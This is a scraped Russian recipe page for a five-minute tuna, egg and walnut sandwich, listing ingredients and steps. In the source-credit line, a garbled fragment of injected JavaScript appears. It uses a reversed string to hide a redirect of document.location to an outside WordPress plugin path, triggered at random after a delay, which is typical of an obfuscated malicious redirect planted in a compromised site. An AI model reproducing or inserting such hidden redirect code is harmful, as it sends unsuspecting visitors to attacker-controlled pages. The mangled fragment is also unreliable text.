Рецепт дня: сэндвич с тунцом

Артём Соколов советует рецепт низкокалорийных сэндвичей с тунцом и яйцом, которые содержат много белка и готовятся за считанные минуты. Идеальный вариант для тех, кто любит подольше поваляться в кровати.

Cэндвич с тунцом

Рецепт дня: сэндвич с тунцом. Изображение номер 1

Фото: seriouseats.com

Рецепт дня: сэндвич с тунцом

СЛОЖНОСТЬ РЕЦЕПТА:

ВРЕМЯ ПРИГОТОВЛЕНИЯ:

5 МИНУТ

КОЛИЧЕСТВО ПОРЦИЙ:

4 порции

КАЛОРИЙНОСТЬ:

330 ккал

330 calories

Рецпет с сайта fitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-nyashka.ru

PT1H

PT1H

Ингредиенты

Хлеб для тостов

4 куска

Консервированный тунец

200 г

Яйца

4 шт.

Салат латук

2 листа

Оливковое масло

2 ст. л.

Грецкие орехи

30 г

Петрушка

½ пучка

Чёрный перец

по вкусу

Соль

по вкусу

  1. Сварите яйца вкрутую.
  2. Тунец (нужен обязательно кусковой, измельчённый или в масле не подойдёт), яичные белки, два желтка и оливковое масло смешайте в блендере, чтобы получилась однородная масса.
  3. Добавьте измельчённые грецкие орехи, мелко нарезанную петрушку, соль и перец.
  4. Смажьте один кусок хлеба получившейся массой, сверху накройте листом салата и вторым куском хлеба. Разрежьте по диагонали.
  5. Сэндвичи готовы. Приятного аппетита!
Оцените статью
Дежурная Качалка
Добавить комментарии

;-) :| :x :twisted: :smile: :shock: :sad: :roll: :razz: :oops: :o :mrgreen: :lol: :idea: :grin: :evil: :cry: :cool: :arrow: :???: :?: :!:

Adblock
detector